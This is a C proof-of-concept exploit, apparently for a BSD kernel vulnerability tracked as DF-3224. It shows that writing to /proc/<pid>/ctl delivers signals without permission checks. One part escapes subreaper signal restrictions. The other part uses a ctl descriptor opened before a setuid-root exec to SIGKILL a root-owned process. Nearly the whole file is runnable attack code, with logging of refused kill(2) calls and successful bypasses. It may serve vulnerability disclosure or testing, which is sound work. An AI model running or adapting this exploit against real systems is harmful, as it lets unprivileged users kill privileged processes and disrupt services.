/*
 * DF-3224 PoC: /proc/<pid>/ctl signal delivery bypasses CANSIGNAL.
 *
 * Part 1 (unprivileged only): reaper-subtree signaling bypass.
 *   kill(2) from inside a subreaper subtree to a same-uid process OUTSIDE
 *   the subtree is refused (reaper_sigtest, kern_fork.c:1285) -- EPERM.
 *   Writing the same signal name to /proc/<victim>/ctl delivers it
 *   (procfs_ctl.c:333 ksignal) with no permission check at all.
 *
 * Part 2 (models setuid-root cred drop; needs one-time root setup):
 *   Victim's ctl fd is opened while victim euid == attacker uid, then
 *   victim execs a setuid-root helper that fully drops ruid/euid/svuid to 0.
 *   kill(2) now returns EPERM (p_trespass fails, kern_prot.c:1045-1057).
 *   The already-open ctl fd still works -> SIGKILL a root process.
 *
 * usage: df3224 [dropdemo-path]
 */
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/procctl.h>
#include <sys/syscall.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <fcntl.h>
#include <unistd.h>

static void
sig_handler(int sig)
{
	char buf[64];
	int len = snprintf(buf, sizeof(buf), "VICTIM pid %d CAUGHT SIGNAL %d\n",
			   getpid(), sig);
	write(2, buf, len);
	_exit(42 + sig);
}

static int
ctl_send(pid_t pid, const char *cmd)
{
	char path[64];
	int fd, n;

	snprintf(path, sizeof(path), "/proc/%d/ctl", pid);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "[attacker] open %s: %s\n", path,
			strerror(errno));
		return (-1);
	}
	n = write(fd, cmd, strlen(cmd));
	close(fd);
	return (n);
}

/* ------------------------------------------------------------------ */
/* Part 1: reaper-subtree bypass (fully unprivileged)                  */
/* ------------------------------------------------------------------ */
static void
part1(void)
{
	pid_t vic, sup;
	int status;
	int pipefd[2];
	char c;

	fprintf(stderr, "=== Part 1: reaper-subtree signal bypass ===\n");

	if (pipe(pipefd) < 0)
		err(1, "pipe");

	vic = fork();
	if (vic == 0) {
		close(pipefd[0]);
		signal(SIGTERM, sig_handler);
		signal(SIGHUP, sig_handler);
		/* tell parent we're ready, then wait for signals */
		c = 1;
		write(pipefd[1], &c, 1);
		for (;;)
			pause();
		_exit(0);
	}
	close(pipefd[1]);
	read(pipefd[0], &c, 1);		/* victim ready */

	/*
	 * Supervisor: unprivileged child that makes itself a subreaper,
	 * then forks the attacker.  Attacker lands inside sup's reaper
	 * subtree; vic (forked earlier from the main process) stays in
	 * init's subtree -> reaper_sigtest refuses kill(2).
	 */
	sup = fork();
	if (sup == 0) {
		int cmd = PROC_REAP_ACQUIRE;
		if (procctl(P_PID, getpid(), cmd, NULL) != 0)
			err(1, "PROC_REAP_ACQUIRE");
		/* attacker inside the subreaper subtree */
		pid_t atk = fork();
		if (atk == 0) {
			sleep(1);	/* let sup exit, topology settles */
			fprintf(stderr,
				"[attacker %d/uid %d] kill(%d, SIGTERM)... ",
				getpid(), getuid(), vic);
			if (kill(vic, SIGTERM) == 0) {
				fprintf(stderr, "UNEXPECTED success\n");
			} else {
				fprintf(stderr, "REFUSED: %s\n",
					strerror(errno));
			}
			fprintf(stderr,
				"[attacker] write \"term\" to /proc/%d/ctl... ",
				vic);
			fflush(stderr);
			if (ctl_send(vic, "term\n") > 0)
				fprintf(stderr, "DELIVERED\n");
			else
				fprintf(stderr, "FAILED\n");
			_exit(0);
		}
		waitpid(atk, &status, 0);
		/* keep the subtree alive briefly so procfs paths are valid */
		sleep(3);
		_exit(0);
	}
	waitpid(sup, &status, 0);

	/*
	 * If the bypass worked, vic died with 42+SIGTERM; prove it was the
	 * ctl delivery (and not something else) by sending SIGHUP too when
	 * it survived.
	 */
	if (waitpid(vic, &status, WNOHANG) == 0) {
		fprintf(stderr, "[main] victim still alive; ctl \"hup\": ");
		ctl_send(vic, "hup\n");
		waitpid(vic, &status, 0);
	}
	if (WIFSIGNALED(status))
		fprintf(stderr, "[main] victim terminaled by signal %d "
			"(SIGTERM=15,SIGHUP=1)\n", WTERMSIG(status));
	else
		fprintf(stderr, "[main] victim exited %d\n",
			WEXITSTATUS(status));
	fprintf(stderr, "=== Part 1 done ===\n\n");
}

/* ------------------------------------------------------------------ */
/* Part 2: setuid-root full-cred-drop kill via pre-opened ctl fd       */
/* ------------------------------------------------------------------ */
static void
part2(const char *dropdemo)
{
	pid_t vic;
	int status, fd;
	char path[64];

	fprintf(stderr, "=== Part 2: setuid-root full-drop, pre-opened ctl ===\n");

	vic = fork();
	if (vic == 0) {
		char *const av[] = { (char *)dropdemo, NULL };
		sleep(1);	/* let parent open our ctl first */
		execv(dropdemo, av);
		perror("execv");
		_exit(9);
	}
	snprintf(path, sizeof(path), "/proc/%d/ctl", vic);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "[attacker] open %s pre-exec: %s\n", path,
			strerror(errno));
		goto out;
	}
	fprintf(stderr, "[attacker] opened %s (fd %d) while victim "
		"euid=%d\n", path, fd, getuid());

	sleep(3);	/* victim now setuid-root + full-dropped to uid 0 */
	usleep(200000);

	fprintf(stderr, "[attacker] kill(%d, SIGKILL) now... ", vic);
	fflush(stderr);
	if (kill(vic, SIGKILL) == 0) {
		fprintf(stderr, "UNEXPECTED success\n");
	} else {
		fprintf(stderr, "REFUSED: %s\n", strerror(errno));
	}

	fprintf(stderr, "[attacker] write \"kill\" on stale ctl fd... ");
	fflush(stderr);
	if (write(fd, "kill\n", 5) > 0)
		fprintf(stderr, "write ok\n");
	close(fd);

out:
	waitpid(vic, &status, 0);
	if (WIFSIGNALED(status))
		fprintf(stderr, "[main] root-dropped victim KILLED by "
			"signal %d via /proc ctl\n", WTERMSIG(status));
	else
		fprintf(stderr, "[main] victim exited %d\n",
			WEXITSTATUS(status));
	fprintf(stderr, "=== Part 2 done ===\n");
}

int
main(int argc, char **argv)
{
	fprintf(stderr, "df3224 running as uid=%d euid=%d\n",
		getuid(), geteuid());
	part1();
	if (argc > 1)
		part2(argv[1]);
	else
		fprintf(stderr, "(part 2 skipped: no dropdemo path)\n");
	return (0);
}
